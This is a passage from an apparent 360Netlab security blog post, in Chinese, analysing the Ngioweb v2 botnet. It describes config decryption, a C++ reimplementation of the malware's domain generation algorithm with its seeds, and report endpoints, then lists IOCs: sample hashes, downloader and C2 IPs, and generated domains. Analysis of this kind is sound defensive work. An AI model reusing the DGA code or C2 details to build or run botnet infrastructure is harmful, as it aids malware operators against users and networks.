src=\"__GHOST_URL__/content/images/2020/11/ngiov2_aesdec.PNG\" class=\"kg-image\"/></a>\n\n\n以下密文为例\n<a href=\"__GHOST_URL__/content/images/2020/11/ngiov2_cipher.PNG\"><img src=\"__GHOST_URL__/content/images/2020/11/ngiov2_cipher.PNG\" class=\"kg-image\"/></a>\n\n\n解密得到配置信息，例如其中的C2为```185.44.75.125:443, 79.141.168.119:443```\n<a href=\"__GHOST_URL__/content/images/2020/11/ngiowebv2_plain.PNG\"><img src=\"__GHOST_URL__/content/images/2020/11/ngiowebv2_plain.PNG\" class=\"kg-image\"/></a>\n\n\n### 新特性2：DGA种子以及数量不固定\n\nNgioweb使用DGA产生的domain作为硬编码C2的补充，在V1 ,V2 Bot样本中，DGA的实现的没有变化。\n\n具体实现如下\n\n```\nuint64_t GenSeed(uint32_t& seed, uint32_t mod)\n{\n uint32_t tmp = 0x41C64E6D * seed + 0x3039;\n seed = tmp;\n return tmp % mod;\n}\nstring dga(uint32_t& seed)\n{\n char* HeadBuf[] = { \"un\", \"under\", \"re\", \"in\", \"im\", \"il\", \"ir\", \"en\", \"em\",\n \"over\", \"mis\", \"dis\", \"pre\", \"post\", \"anti\",\"inter\",\n \"sub\", \"ultra\", \"non\", \"de\",\"pro\", \"trans\", \"ex\",\n \"macro\", \"micro\", \"mini\",\"mono\", \"multi\", \"semi\", \"co\" };\n\n char* BodyBufA[] = {\"able\",\"ant\",\"ate\",\"age\",\"ance\",\"ancy\",\"an\",\"ary\",\n \"al\",\"en\",\"ency\",\"er\",\"etn\", \"ed\", \"ese\",\"ern\",\"ize\",\n \"ify\",\"ing\",\"ish\",\"ity\",\"ion\",\"ian\",\"ism\",\"ist\",\"ic\",\"ical\",\n \"ible\",\"ive\",\"ite\",\"ish\",\"ian\",\"or\",\"ous\",\"ure\" };\n\n char* BodyBufB[] = {\"dom\",\"hood\",\"less\",\"like\",\"ly\",\"fy\",\"ful\",\"ness\",\n \"ment\",\"sion\",\"ssion\",\"ship\",\"ty\",\"th\",\"tion\",\"ward\" };\n\n char* TailBuf[] = { \".net\",\".info\",\".com\",\".biz\",\".org\",\".name\" };\n\n string BlockBufA = \"aeiou\";\n string BlockBufB = \"bcdfghklmnprstvxz\";\n string domain;\n uint32_t dashloop = GenSeed(seed, 3) + 1;\n while (dashloop--)\n {\n domain += HeadBuf[GenSeed(seed, 0x1e)];\n int flag = 0;\n int i = 0;\n if (BlockBufA.find(domain.back()) == string::npos)\n flag = 1;\n int fillcnt = GenSeed(seed, 0x3) + 4;\n while (fillcnt > i)\n {\n\n if (flag + i & 1)\n domain += BlockBufA[GenSeed(seed, 0x5)];\n else\n domain += BlockBufB[GenSeed(seed, 0x11)];\n i++;\n }\n if (BlockBufA.find(domain.back()) == string::npos)\n domain += BodyBufA[GenSeed(seed, 0x23)];\n else\n domain += BodyBufB[GenSeed(seed, 0x10)];\n if (dashloop != 0)\n domain += \"-\";\n }\n return domain += TailBuf[GenSeed(seed, 0x6)];\n}\n\n```\n\n在V1中DGA Seed为硬编码的0x05397FB1，产生的domain总数为300。\n<a href=\"__GHOST_URL__/content/images/2020/11/ngiov1_dga.PNG\"><img src=\"__GHOST_URL__/content/images/2020/11/ngiov1_dga.PNG\" class=\"kg-image\"/></a>\n\n\n\n在V2中DGA Seed，以及产生的domain总数均由配置信息指定。\n<a href=\"__GHOST_URL__/content/images/2020/11/ngiov2_dga.PNG\"><img src=\"__GHOST_URL__/content/images/2020/11/ngiov2_dga.PNG\" class=\"kg-image\"/></a>\n\n\n目前我们一共得到以下4对Seed&Total Count的组合，对应所产生的DGA domain见IOC部分。\n\n| Seed | Total Count |\n| ---------- | ----------- |\n| 0x01275c63 | 0x12c |\n| 0x01275c63 | 0x3e8 |\n| 0x04bc65bc | 0x12c |\n| 0x00375d5a | 0x400 |\n\n### 新特性3：上报信息入口不固定\n\n在V1中，上报信息的入口为硬编码的```/min.js```\n<a href=\"__GHOST_URL__/content/images/2020/11/ngiov1_entry.PNG\"><img src=\"__GHOST_URL__/content/images/2020/11/ngiov1_entry.PNG\" class=\"kg-image\"/></a>\n\n\n产生的数据包如下所示\n<a href=\"__GHOST_URL__/content/images/2020/11/ngiov1_packet.PNG\"><img src=\"__GHOST_URL__/content/images/2020/11/ngiov1_packet.PNG\" class=\"kg-image\"/></a>\n\n\n\n\n在V2中，上报信息的入口由配置信息指定。\n\n产生的数据包如下所示\n<a href=\"__GHOST_URL__/content/images/2020/11/ngiov2_packet.PNG\"><img src=\"__GHOST_URL__/content/images/2020/11/ngiov2_packet.PNG\" class=\"kg-image\"/></a>\n\n\n目前我们一共得到下以3组入口信息。\n\n| Report entrance |\n| ------------------------------------- |\n| /min.js |\n| /zvyaga |\n| ```http://185.44.75.125:443/metric``` |\n\n\n\n\n## 联系我们\n感兴趣的读者，可以在 [twitter](https://twitter.com/360Netlab) 或者在微信公众号 360Netlab上联系我们。\n\n\n\n## IOC\n### Smaple MD5\n```\nbdaf967a6aef57d135b0806192884edc\n7f26365e8d1e1a6ad8199bdddd4e9b3a\n0840951a0c3219db5607754bcdbc1ac1\nd29fb0306ee4b8cfe18c339ee42a98f9\n305a600d309c1bda9e731803e3efca97\nfb469128e67aad899a2b6709cbfe72a6\n19020682555fa33ecf98a11fed499ea9\nb4e5cecdff73f66786f87c1238912003\n2818dfd8337fbb610f8910746c4219d8\nd08e539c47100935fb8ba88a384f0305\nf8263759c9111641d09c9fac6bcd9186\n55ab7aa2ceadb3d30784123f2d534fdf\ncc2ae0ccdf0b4ff94e9d8ab3646ecaa2\n2b484c7f104fe8160022e04d056d1135\ndf84b40ac3bd56bd15ab1d8b4a2bc1a7\n2d6ea04f1f55471113f37239e5e23b19\na20d3f09eebd4102157ecdebf9557326\n4b608985b7f741b0f0ab9f3d59e48f03\n492928276181ca030fc2e1099b27beb2\n300e68b03d8fbef6ce29de4d386eacf3\n4419982c5fb43367203dca14ae6c1311\nf8fdf251acc39fdb4f4444fc7ceb1d0e\nc2695139e23205b96fb07e7ea963216c\n431028b7a672c4167ecc77e36df24236\n61783c6433288689a280bb2640e5f2af\n3e0088ec332172e42c50dd034b7eaae1\n953bd5431f144a976474d7c78de526ec\n3dacf45ff17ba5d6018d3f44c0ea4a02\n30dcce7dfd26f59dee9895cb6c70d51b\n2b7c98eb58062401c8cff9b5fe95b0a3\nff4dbfc96ffce74e5ea057e50e0496e3\n2be2ab5752261a733b5267527fe65d44\na375f20090d9a58c66dc22dd37286d34\nce120caed6b72cb89918dd2b329ceeb9\n01f50c3fc1223e3f96d28bc4cd2c3e56\n5be121ae51e970d4d0a5c08590099d79\nfc98d2deb8563292d830ba37bbb243ad\nafb782061df074ef2852953f47206aaf\nd417f515d24c56e05b9ac17cf6ab2ec3\n10824897899469775974122075c14b56\n0274956798c61a5eecb12d331835854e\n0808dbe61524a6a2a901e6ab2ac66e24\ne1b0b6943d0f209e51e6b5b6744e6a54\n663e0cf63d6b3f25bb33fea0876f3ef0\n052f9c2f465ab33d68957bc25c4e5c0b\n04800a25ce6c8d15e553459deec68bb9\na086b7da8aaf7a27b67db00e69eb1b7a\n77c9d66e1ace1f840ed0416ab365260e\nebb4b45ce5622d75762f62e631436bb2\nce4c23642878788ecaedd0903663244d\n\n00aa9b52e2f3b6ad4426466d7ca5f523\n00b2a36d4070983bab0953ce613d8d8b\n0257a639039f86f159bc6a4a39cded34\n036bc9217942fd5b15f654b4f5dab24f\n05e3369b655e5033d0f74bb3296863b2\n09d9c3b5f7cf1fec26f812d5250bfeb1\n0ac1705fe969fa6ccd3f449aac008b4d\n0f32884f84a366c047b95408316b2c52\n10ad3d84b869e383f1e88d5fc134e912\n1338e36265e8d45ba7689c918ef9b34a\n147b2ea408bef641a2e9d3cb4f7aedb9\n16956c0468e6e2b6665ac4bb81af3164\n16edc8d0d4be1385e9ddadfc722deae4\n178e0c03eb83fb6cebb11d29e0e47ec9\n21e37846936908ac90e6802e92d991df\n2c5e58573bf1783c4557d71f9f1a04b4\n2c7d58b1c5c172f88de7dbc02805eac0\n2e953b78a03b430e803bde99bc0c83e3\n36578d0dd5685abe6c4ed063221c59d0\n37a6966b4092317e0b4079bdf0f5b0a0\n39aaf64bd70846d2fe7b77ebc42be8a3\n39d57c1abd7ae2488cb435c1ebc6d49e\n3bdf12f6aeb84d02119914e63ada932e\n40e88784c93651cec9792487575842e9\n418188e977fc3b280d8919287aeda05b\n4293a45ee5cd00da5505c878bc4fee08\n4efdc2e227fb4b5e61eb5220f9e6d7f4\n505cafe9c309ce61113dcb24124d1eba\n5077972350fce365d085e178f4668c8d\n54c9be7cd4a9f57728352a3426b32e4f\n5b55dce8baa9818de1b828a5ba6b80f4\n6a566eeaab50e22eed6f01684d7521fd\n6c66cf2f923aa9da1494c99d1938cfb6\n72f00975e83856252b8c0c3c687254ef\n7ab879bc960b409f17bcad39a0bf7e3b\n7aea64456ab14dd5d4e060ebfcefd79d\n7e85b4596f95d1d597c46fa72d348061\n7e88eb10e9c67dc650a6ae4912d65e63\n82cef032e2e0fcc9f5582cd5916b97b7\n843f44acc93cbffadd271e4ef5e03103\n89c3f65fccb06f914c68aca218b0679d\n8e6ca6bd922574a44a0a43b32a58ba52\n8e8fd75a560505878cd2c76dca2c7ffe\n92e6185f8d2216eef77b8bcc7c730c57\n94c41d49388acb0089948c3ec618bc53\n9db1cbd2f1d2fbd26aa7c1934e1f182e\n9fdfedf862f11146efd18b42f86268e1\na20ab64e41014fbc992f2dfcb11a10d1\na2967ffd179faaeaab49d48b1473db00\na6fd221cd729d08550acd53767154de3\nb1af3254ae6111efa3e2cb85eacf8e99\nb459053d209c6d188ba89f1097fed1da\nb5985a3fc08623d58d72d342da722f03\nb9ffd7e55c105ab52b81f66badf05846\nbbcd3ca4fbc0b40b0c9149e6371b9432\nbfaa39fb6a151b9a64e59ffd80aa1bc1\nc46121de170ecd5560b459ccf9f7557b\nc587740989c196806c0a9c5e8e07f127\nc77aa0f78c48901d7cc34a871c67eea2\nd2eeb2a760d7a453e9a895c6f161503d\nd7d5cee215140b7511b03885db89cb18\ne52e9f80bd81abc3e855a88fc77a4df4\ne9cb10408706890e48c3758831a631c1\nea319e0ef1b4e3d65a7e4fc23397a20e\nead0e821c939ce0bd271f5c148f5c8ca\nebe39d80a817a090bc1e20c4517b4fb4\nf225a03e407b0f32235d7dfdd333f95e\nf2e28b01742757942c1ce5acbbb8ee00\nf3cbf39e3e95bd3f39bf6dd4e38f5690\nf4445e7cab5694e56008a6ac8382b0cc\nf9ab5e1483fee74e78f81ee2d8c3992b\nfb24abf484c484670be0444a7ae0f918\nfca1611067d38b6ce3234886f0d24cb3\nfe5e88679c091136f0ff3c4f5ded9775\nfeda5a6340a7f71a75c43f43a57b0c1d\n```\n\n### Downloader IP\n\n```\n31.14.40.107\tASN19624|Data_Room,_Inc\t Romania|Bucharest|Unknown\n88.218.16.12\tASN50673|Serverius_Holding_B.V.\t Netherlands|Flevoland|Dronten\n93.174.89.36\tASN202425|IP_Volume_inc\t Netherlands|North_Holland|Wormer\n94.102.50.156\tASN202425|IP_Volume_inc\t Netherlands|North_Holland|Wormer\n94.102.59.5\t ASN202425|IP_Volume_inc\t Netherlands|North_Holland|Wormer\n94.102.50.143\tASN202425|IP_Volume_inc\t Netherlands|North_Holland|Wormer\n```\n\n### Stage-1 IP C2\n\n```\n162.218.122.123:443\t\n111.90.149.238:443\n103.193.4.113:443\n185.44.75.216:443\n185.44.75.125:443\n79.141.168.119:443\n```\n\n### Stage-1 DGA Domain (seed=0x01275c63,count=0x3e8)\n\n```\noverobozikish-semipezavution-interigupant.com\nprotivapical-semiletuful.info\nminikibocency-interorofuly-cotufuhify.com\nproxekigite.net\nexuvasuhern.biz\nmultinipebian.name\ninuzodaless-iluxunency.com\nexubokilike-antilifizement.biz\ntransumudate.org\nmisuradabite-minibelaped-interetukuxable.net\nprexunevament-macrotelulike-antipucudument.name\ndisorihous-monofulefiful.name\nenecixety.biz\ntransoxapakancy-antidukovify.net\nsubimemibate.name\niledozible.net\nunumopafy-antimixaly.biz\ninterilurocary-provohiless.name\ninuvelasure.com\nexovifist-multiseferiness.com\nsubidekancy-ileratily.name\npostosofaping-irikinalike.net\nememacotian-ultrakenikoward-exudetancy.info\nminilavuxufy-microtuhaly.name\nmultimilufy-exirorary.info\nultracadopiship-exinuhilike.net\nsubasamuhal-overufaring-emedotifure.info\ndisadugous-microdopiful-disicivize.org\nsubuvusen.info\nenozufety-inilorely.name\ninocinossion.info\ndisanevisish-misanolazen.biz\ntransegunant.com\nexelituhese-depifukary.info\ninterazimist-microlitonish.com\nprefunidom-postaxugiment.biz\nilolulian-nonisotive-overenevecese.net\nprocihanoly-postutegism.net\nsemivudely-cocehiward-renesoful.name\nultrafisekian-multitecaness.org\nreravugission-enulebuten.com\nsububofahood-semigumudom.biz\ntransinoromite-prohetahety-ilapeben.net\nrenuxakassion-ultravavamilike.org\nemufatohood-regunicotion.info\ninterixamily.name\nminirehugeship-prefepedism-rezomabiment.biz\nenefiling-semipisigical.net\nirebition-cocusifify.biz\ninteraxomaty-enunamage-prebuzipure.com\nuninicaxous.info\npostobigahese-micronepodom.biz\nmacrogizofant.name\nmacrogucapofy-semifenaly-interusoboty.name\nmultitemaber-delutafy-unehonecism.info\nminikibamize-interekekadom.name\ndisulahifing-prefuzetion.biz\nunderubulian.com\nexovezufy.com\nprehagovern-subapalaship-iripatixist.info\nmultimanibic-transirizikage.net\nanticisubaless-overatexossion-ultrakidefalike.net\nmisutokahood.net\nresibapese-iribelancy.biz\nunderefunible-subunizal.biz\nultracibeward-unimumanable.info\noverasizous-semigofehify-emepaving.name\nultracuvupancy-multisacokency.name\ndisuxegance-unohupuship.com\nunuramesion-antiximocable-premerudation.biz\ntransatidaly-intereducigism-unugiheth.com\nmicropigession-cosenath.net\nexevetedism.biz\nminixamesion.org\nimedenese-inecucary-unoseluhood.org\nsubegivaward-semiluriful.info\ntransudakicern-exepagetn-ilonunety.name\nilidinurary-imelunern.info\nenixihidom-covohipive-multixohelike.com\nsemicekument-disahezulible-nonahopohood.com\npromucidaty-detupobant.info\nmacropuxolian-disatusopic.net\nresiredeful-disamefese-nononutetn.info\nmultimovatiward.org\nunifapath-pregohuhite.com\nexofabity-posteramited.org\nmicromuniten-semirekiveful.name\nilaxovage-exezihoness.net\nmicromurocese-proniragance.com\nprohufabament.biz\nilakihopity-irediletous-disatibant.net\nsemiborexoless-cocukuviship-unaderible.name\npostatavexed-antitikadotion-demekimeness.net\nsubobekous-inohixical.com\nsemitinity-comoxuness.org\nantisavuty-overulogolity.com\nprokarumement-inanuvify.com\nsemisomiment-interuholudom-underovixitable.net\nmisirahiward-prelabakuly-multimipumish.biz\nultrasibodilike.org\nexesuran-overefibadom.name\noverifaker-monokabarize.com\nnonudaboness-antimofidaty-interapupily.name\ntransefacity-nonuvosolive-postamevession.name\ndelilelike.org\nimonabaval-postesudable.org\nexozebizist.biz\nmacrogotafy-refahuly.info\nconefify-seminehivern-emugugitical.info\ncopugalike.net\nmisemokemity-ilemacation-multitopehood.net\nmicromefoxism-microtiruful-postasacation.name\nultralegoroth-eximonist.name\nminipozebilike.com\nsemimiranure-unulasion-cozukuship.org\nmisumenite-macrovironuhood-misitedion.info\nilogesuric-nonunihern-ultrarahupaness.com\nemupuping.biz\nminilosoth-microlimexession-enogamity.com\nunerihish-interavicumite.org\nunitevous-transedufudom-enusomozetn.net\nremabarety-ultrabocotant.name\nenugezession-interokasugance.org\nireditixary-macrocokakuward-rehohidian.net\nemugadatian.info\ninterelobidom-postirirament-ultraparobesion.org\nunixogency-dezofudoward-misekovary.info\ntransubivocal-prebekutan-exapimity.biz\nunderekenocary-exosivufism-multikolulike.net\nrezazizage-prekuguhical-antibidoxic.org\nirugexary-ultrafibahood.com\nunasutify.info\nenolirekage-imusegacion.name\nunderatekedom-ultralugarehood-irezizible.info\ntransohuluric.net\niruzusefy-monokokicancy.net\nsemivifetite-nonecicolike-retiradure.org\nmisobaling-cofodotuhood-nononepasion.org\nmisipeheness-misepucance-enoxelize.org\nexulucovible-minivikecath.net\nexefilevern-interoronary-monohusussion.info\noverukizudom-interuvigument-macrorucalike.org\nprexofunoful-transohuzize.org\nirunanic.info\nmacrokadubofy.net\nunonedeling-postakesemism.org\nirumabodish-ultragotedary.name\npostubixion.net\nprenoxifodom-interihafian.com\nsubocetesion.org\nseminukeful-ultraburovaward-misodihapism.info\ninterevafekism-nonogikan.biz\ncozedesehood-prevurodom.name\ninterucezaful.info\ncozusogetn-inobonuly.name\noveroxevance.net\nmisupasor-overofexussion.biz\nminizerexision.net\nnonotutamese-cotekafure-enotezor.com\nirutihalary-interunutohency.net\nrevuremure-imemapesion.net\nmicrofufeser-misorirous-transotazafese.org\nunumalefy-micronikaly-interepafoty.name\ntransugapity-misikivan-interikaxodern.com\npronecussion-interuretese.net\nretorerument.biz\nmultipukogoward.net\nmonopinubism-prodigifession-minikafovure.name\ndelezubic-coxegukism.biz\nenarufency-prebuhulotion-ultrasomoguness.com\nimezigion-transikufamency.org\nprekugagancy.net\nirafinopify-enusukical-exekedous.biz\nunderikehuful.name\ninteravutagic-unacanese.name\noverebopoxer-subifebilage.name\ndeziroming-multizoposion.com\nredorusely-disivonuty.info\ninukatiless.info\nenihufahance-subaniletn.name\nilinugor.net\nprerulation-multinapuhood.org\nantisixegity-macrodosiness.org\nantigadegan-unazekency.biz\ncosoxufy.net\nimuraxant-devarareship-microfarulical.net\nsemifibiciful-iloxivible.net\nantivunaful.biz\nminirorisible.info\nunderuxuced.net\nirelevonous.name\niluvinakite-rekamepize-iranibish.info\ndisihosive-irazoniward.com\niraxikith-imitokabal.info\noveragofadom-disedumance-nonababifion.name\ndepoxuzeness-imumipolish.name\nminikepupese-macroperofy-progilobing.net\npresisutiment-underorunipancy-exovomocant.biz\npostelomuty-disazonaly-transazabesance.com\nemumezite-minivasudeship-nonevuxion.info\ninterumipument-inesaber-remokedern.net\nprenekomation.biz\ndisurolal-misosexant.biz\ninasacily.name\ntransinexiran-antidimekudom.biz\nmultilalopant-interutoxoxed.org\nmicrofamanuless-overudilelical-unobigous.info\nenizafegify-irinocic-inonesoment.name\ndisabihal.net\nmonovizurable-exopecancy.info\ndeveruness-prezicepaty-ilorokoly.name\nenevogussion.biz\nenegexic-preremassion-macrokevath.com\nemurapion.name\npostirezubous-irexozihood-refebodom.info\noverikucoful.biz\nunderehopoxance.com\nnonedagous.biz\nenodehoment.info\nderigusage-disuzetiful-iluhokepist.net\nunedadite.info\nultramuzify-exakibern.info\nunderumemance.org\nprototifed-semibobazant-exaludalike.net\nprebiniment-overerabudate-irotihate.biz\nunderepohese-unudegakan.biz\nunderunabity-overenatoly.biz\ninalazossion-enirohefed-misozagen.biz\nminibikovesion-proxuzocoful-underucabation.info\ncocidedith-mononekoty-underululely.biz\nmultixotetous-transavotebist-antibanission.biz\nunderobotugancy-rekinotiful.info\nultraniderufy-unadukical.info\npostizeban-exotibath.com\nrevodiciment-enafedity.org\nexifikate.name\ncoxaviraward.net\nsemiregoziless-copibufy-imetovuhive.info\nmultihabician-multisugicish.biz\nminibazehood-nonokikamen-inesomaful.biz\nmultificiward.net\nsubexidamion.biz\nenizitavian-monolexadom.name\nultralanerency-underexibibancy.org\nprelemely-interamuguzish-refesunuless.info\nilizalement-transemetirous.org\nprotazaren-nonohahity-underucofofity.net\nemokacinan-overemacoless-disuredossion.name\ninterohazate-imivimion.info\noveretunudom-inigohiment-interemokepen.com\nununimeness-ememuturible-macromazazuth.com\nnonexepic.info\ninterizutidom-disivadement-enigegadom.info\npostezakical-monoxizidom.info\ninterigaciful.name\ninopofalize.org\nunucibency-inevodession-iletakate.net\nimotuzaship.net\nmicrometavation-interaruviful.name\nultranedoxify.org\nemavevalike.com\nretagucage.net\nimopexaward-prokoguful.info\niletodish.com\nrebikizuless-postaretexive.net\nrecolidom-disanuviment-postozagive.net\nsemimocalate-subemazive-disasihement.name\ntransiputotion.name\nultramasicize-overusixern-nonisupimary.info\nenupevuxen-emuhomebal.name\ndisupasolance-misaperiward-misetolobern.name\noveragohan-suboxifaric-minicorugure.biz\nmultirecelike-prehesakan.net\nrezumugity.com\nimanazuxen-postomodaty-disaxurate.com\nprezotecussion-cobazesish-transurunist.net\nemafezipant-cogapahohood-regifedom.biz\ndisogotesance-misomuded-overezanaful.biz\nmultibefelefy.net\nmonopitocen-semikahassion.name\ninterorozable-exoharuship.net\nexetering-enehanument.name\ndisisopilance-prefemekuly-inopikety.name\noveruvitacish-exerotetn-interunaziless.name\ninterepafary-irepatolike-microhatavament.name\ndisoxacify-subunevish-interopofuvency.org\nimoputic-minilumezese.biz\npostatotoly-postecumify-misazugofese.info\noverugevapen.com\nemasuvasion-suborumonage-inagamage.net\nireporerate-transetihed-unekelish.biz\nminimumiward.com\npresogifoless.info\nmacrokocador-ilevevugible-semitafument.name\nminiderosion-prokihegiful-iluhonition.name\nminifagadize-inazitubish.org\npropafaban-misoraxafate.info\ncoceposion-misesixetancy-diselihecing.net\nmisigibezity-interepesission-underaderudion.org\nsemilagikan-emebaxobency-postunepan.net\nmonoxumution-overomaxish-unuramic.biz\ninazogiful-overexunution-disikutancy.com\niroboxetn-ultrakolixoness-profoxution.info\ntransitigetn-misexuraward.org\nexifimimary-enovucefancy-procexacency.com\niruribihood.com\nmicrorinuguty.name\noverotuxilous-subeciricary-disatakity.com\nimelumezage.biz\ntransaxanary-mononixuful.info\niluvenern.org\nmonoxeberiless-inivekicic.net\nsemibutadom-multimakagary-postumicefite.net\nunatinahern-interohogian.com\nemexunency-underatakihing.net\nunorisibity.info\nminirifohood-pregenubotion-inipidorist.org\nmonotamekission-interuxeriless.info\nilobamodetn-seminufelotion.name\nminikuxuness.com\nnonigepefy.org\nantiharisable-imucesese-postoxuzern.org\nmonogosession-underipimish.net\nmisupunubical.biz\npostezotetion-overukopiful-inazukiling.org\npropagarite.net\nexafisixure-ultratomavance.biz\ninadikuture-profazetion-overalupance.net\nexobobaward.org\nexafadify.name\ndisivazovous-semiheceless.biz\nmacrodopoxihood-monobudadom-cobabadahood.com\nunehohevize-demuzezeth.net\nnonuhasoship-microvibodidom-postagomament.name\ninterekekation-interedimian.net\nretivelible-renonutely-ultrazutuward.org\nimapuvate.info\npostirikify-misuredity-underokonaty.info\nmultixodamalike.net\nprezopement-interutafudom-denaseship.net\nmisatonazical-macronuguhood.com\nmonohupukoty-inozenimive-antimedoty.biz\nultranigixalike-procavigance-pregisiless.biz\ncoziloxive-multitusarist.biz\ndisaxopive-emifosish.info\nmacrogenehood-imifikizetn-overuguxakant.org\niragatofy-unoligion.info\ninterumohassion-minipepixor-underuxesission.biz\ndefasenision-microzisekeful-disixusian.net\nsemibokuful-ilihimetion-overumuhical.org\nimerisigance.info\nminimifith-nonahacinance.name\noveraconadom.biz\nmacrolehekian-minicepesion-subuvosify.name\nmultisonision-exopedure.biz\nenomunancy-imunekable-macrobimigal.biz\ninumizeful-ultrazigupuward-profaxixive.net\nsemimicosage-exumadivic-macrohocative.info\nultragopuzosion.org\nirobaguness-subedesical.info\npostiduzancy-semixabelion.net\nprevukefoless.name\nminihuxexohood-emobuzolion-ilepiziful.info\ninterexivity-reluvegan.com\nexonulefy-rehudukeless-intericamission.biz\ncolefutasion-antimudukeful.name\noveratoxify.net\nimivegion.biz\nminihubofy.net\nmonosaviradom-interotarure-monotavahical.com\nemobedolance-ilalamure.net\nunanupaness-rehodifuty-enivapuly.name\ndepanivaship-irinipalike.net\nsemivofizor-mononecedom-underetecism.com\nsemirirekotion.name\npostocaripist.com\nimaxebuship-semicagition.org\nprehorinoful.name\nultrazopinism.biz\noverezaxiban-subotemern.info\nultrahalaping-minitacoship-irodolity.info\nenoneviment-multifivizify.name\nminizugohood-nonosubotion.biz\npostuzapozese-nonitisidal-disibibaless.info\ninteripagity.com\nimipanusion.com\nprerivefency.org\nreloputy-macrohigixing-underumumenary.net\nmisazuzasible-transozotament-overukocavage.com\nimakupous-enarapition.biz\npostatubily.name\noveritubokian.com\nprebabafotion-minitikihood.net\npromoxevancy.org\nemudamoth-progerosify-nonigunazist.name\ntransulipish-micronodapadom.info\nminidohetion-underirukimish-rekutimity.com\nsemivopety-postamegary-resokepize.net\nirufuvith-emikazufy.org\nsemificabance.net\nprepolebuful-interuhugipible.net\nsemihesoly-overamoxatous-irunepan.info\ndisesener.net\nnonogatilike-semihexission-enisoxuless.biz\ndetozigish-overohezibify-prodavetish.net\nmicrosapirible.net\nmicrocahelern.com\nimaheroship-nonesenist-ilamihist.com\nmicrolunanity-emoruraship-unesatalike.net\nsubixaler.name\nminilosuduward-premulivaly-interomizeter.org\nprezatofite-subabokist-overozamulor.com\nsubipebukous-minirohosion-imurofusism.biz\ntransulenify.com\nmonosozamoless-enoxuvussion.biz\nenovulesancy-relixuhical-nonelomasion.com\nmisexilic-ultrakiroriward.com\nsemixufegish-unogohify.com\nunororize-minizonify.org\nprotihuless.name\nunderovogarify.net\nprobetuxancy.net\nsemimotaly.name\nultrazatudeship-semifelasency-exinimohate.biz\ncotifosion.org\nnonudugihite.biz\nilefemern.com\nunogehish-disemozihous.net\nmisasirary-overarotion.org\nexepemitan-enapibazan-rehetasen.net\nmonokakoxing-monomixety.name\ncolovopage-minigurigist-overopuhite.org\nirocohiship-misoroxogist.info\npostocavary-probutaxable.com\nexifibeness.net\nimedazancy.name\npostogabivize-irehefoship.net\nmonofasodom-cohokakize-overukurudom.info\nunderesaxiful.info\nmultikoniward.org\nmicrodurukish.com\nirutokiship-prorokeless-multihucidic.name\ndisogerefor-proremorate-probudurution.biz\nmacrohikonen-overecinive.com\nexelopoth-unazicofy.org\nregibiless.info\ncotemufehood.com\nanticiduxity-underuhorily-macrolamiward.net\npropecely.biz\noveruxibist.net\nimarodilike-misilesulous.name\ntransamexaped-semigafoful.biz\ninaladahian.org\nantiforozedom.info\nilivelolion-misasicamen-ultravufuketh.org\nimezirary.name\nultrabinelesion-nonamamakite-postuvahution.name\noverolokage.org\nimarurese-underigelic.org\nexopagancy.info\ncoxedath-microhihovassion.biz\nenonuxedom-inififiment.biz\nmininivocese.info\ndedezaseth.net\nnonesatahency.info\nmultiteruped-dezimofion-intererezadity.net\nnonosuneric-enonunehal.com\nexuluresion-preputuxern.org\niredigabance.biz\nilanovese.com\nnonahuled.info\nunderamamedom-overakarancy.org\nsubutudal.biz\nmultihonahood.org\npromopalaty-overeceduly-overinamuhetn.com\nunutotecance-transohaxament-ultrasodeding.info\nmultisixahood-prepehadom.info\nilofidal-pronubosation-multikituhood.org\nunahemiward.net\nsubekoled.biz\nmacrocilavoship-prehibaless.info\nultradusirern-underigamate.org\nimuneped.info\npostiruped-unoxulolor.name\nenulirigage.com\nirapifalike.net\nunimegure.biz\ndesekileward.net\nsemikuxuly.biz\nminizasiviship.com\nimopiripor-minicotaguness-emakegoward.net\nantihibemical-subopazilian.info\nposteverozous-revuvefeful.info\nultramiliward-iropeteness-unavobadite.name\nultramifogilike-emegupeship.org\nimedobolic-underohuxaful-postihatetion.name\ndisafimize.net\nsemivasabission-macropesitity-disamemous.org\nirogavohite-ultratovuship-prepisinadom.biz\npostedufiful.name\nenatezuty-multitiviness-subosasiward.net\nprorupuhal-anticeluty-postebuvese.org\nsemibahoty-multizesatoth-subiteped.biz\nminimivivic-ilobakancy.com\nimukoxive-transexepuped.net\nsemidoxidom-ilahofament.info\ntransilutution-macroxucihood-irisenizive.name\npostexacency.org\nmonobixisist-monotavigeless-underaparession.biz\nconenelike-imapezuship.com\nemunozusion-misifebesure-underisunotion.name\ncovefumuth-irafezodance.info\ninteralekubant-nonohebehood.org\nrenirozian-unupasity-enosunetion.info\ninteranakily.name\ninaverance-refudily-overepenary.org\nnonavimoth-semitugisage-microkogopism.com\nsubohabogite-transesihedom.biz\nultramedihood.com\nemuboceward-imadunical-ininifagese.org\nrevuduly-interutedable-progusuled.net\nmisosecefy-imagebenance-transegasossion.biz\nilavonuxage-preruzegese.com\nresepetion-disodamapan.org\nematezexese.biz\nultramololian-disukagement-delumulike.com\nimedavuped-overikixist-microvetipancy.net\nemutebopen-overerusamize-exehilify.net\nmisamoxan.info\nenusepohance.net\npreguposety.info\ninteramosian-emategecist-cocofoth.net\nantideravoment.name\nenevagation.info\npostipapily-iluvumety-multifezaness.org\npregovozetn.net\nantigusuless-iluvuling-regogeholess.info\ndekeruvan.biz\nultradelosion.com\nimufihoness-prokikubety-multilukipoth.org\niraxurisal-minibogicusion.com\nsubotesohism-enovipity-transebovohage.com\nsubuxipoship.net\nunodobasion.net\nexanogance-macrodaceboward.com\nantifusituless-enefilency-imonaxenish.info\ninteruleriment-disecuzidom.name\nultralurohood-emebutify.info\npostehicosen-semimezigity-ultragefeness.net\nirizuhify-disacozolize-prenuzonission.info\ntransenasary-misusisuship-exuvadalern.info\nconudigian-ilexusotion-debifehood.com\nunoporiward-exekomixist.info\nmultihigotish-ultrarafuth-antihedecetn.net\nmisenunive-develilor-coxigicical.info\nconuvuship-irexupish-cobogocary.info\nunderosavidom-iligimimed-exehefugor.info\ninuvomize.net\nnoninogafy-prexanufed-imububify.org\nrexazuless-covihafy.com\npresisebical-semisorugive.org\nemomofible.name\nminizakehood-examapusion-unipopehood.net\neximumilism.info\nenihodomical.com\nnonelugahood-nonuhakasion.org\nsemilopaful-interetanetion.biz\nunderaripily.info\ncomimipal-cotedibolike.net\nunesidukive-postacidition.info\nminizikeness.org\nantikulelussion-ultrarudinify.info\ninakogite-suberivatal-minitoraship.net\nexasazesion.net\nsubotipern-underokepible-imucerolize.biz\ndisorelure.net\nproceboly-postalonary.org\nsubimutath-antinekuban-regazoly.name\nmultihacubian.name\noverifefolen-antizohosetn-subazaloxa